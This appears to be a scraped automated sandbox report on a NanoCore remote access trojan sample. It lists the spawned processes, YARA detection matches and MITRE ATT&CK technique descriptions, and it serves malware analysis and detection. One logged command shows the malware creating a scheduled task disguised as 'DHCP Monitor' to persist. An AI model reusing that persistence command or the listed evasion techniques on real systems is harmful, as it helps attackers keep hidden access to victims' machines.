Rule: NanoCore, Description: unknown, Source: 00000000.00000003.657631854.0000000004411000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
Reputation:	low

Analysis Process: RegAsm.exe PID: 1316 Parent PID: 4824

General

Start time:	09:12:06
Start date:	09/04/2021
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
Imagebase:	0xf80000
File size:	53248 bytes
MD5 hash:	529695608EAFBED00ACA9E61EF333A7C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000001.00000002.922729838.0000000006250000.00000004.00000001.sdmp, Author: Florian Roth Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source: 00000001.00000002.922729838.0000000006250000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000001.00000002.922729838.0000000006250000.00000004.00000001.sdmp, Author: Joe Security Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000001.00000002.920184954.0000000000402000.00000020.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000001.00000002.920184954.0000000000402000.00000020.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000001.00000002.920184954.0000000000402000.00000020.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000001.00000002.921750076.00000000045F7000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000001.00000002.921750076.00000000045F7000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000001.00000002.922413019.0000000005EA0000.00000004.00000001.sdmp, Author: Florian Roth Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source: 00000001.00000002.922413019.0000000005EA0000.00000004.00000001.sdmp, Author: Florian Roth
Reputation:	high

Analysis Process: schtasks.exe PID: 1848 Parent PID: 1316

General

Start time:	09:12:08
Start date:	09/04/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp7A01.tmp'
Imagebase:	0xc10000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 1680 Parent PID: 1848

General

Start time:	09:12:08
Start date:	09/04/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: RegAsm.exe PID: 1904 Parent PID: 968

General

Start time:	09:12:08
Start date:	09/04/2021
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe 0
Imagebase:	0x810000
File size:	53248 bytes
MD5 hash:	529695608EAFBED00ACA9E61EF333A7C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Analysis Process: conhost.exe PID: 5880 Parent PID: 1904

General

Start time:	09:12:09
Start date:	09/04/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Application logs, Process monitoring, Windows Error Reporting
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: NanoCore

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Static AutoIT Info

General

Network Behavior

Snort IDS Alerts

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.
Tactics:	Command and Control
Data Sources:	Network intrusion detection system, Network protocol analysis, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre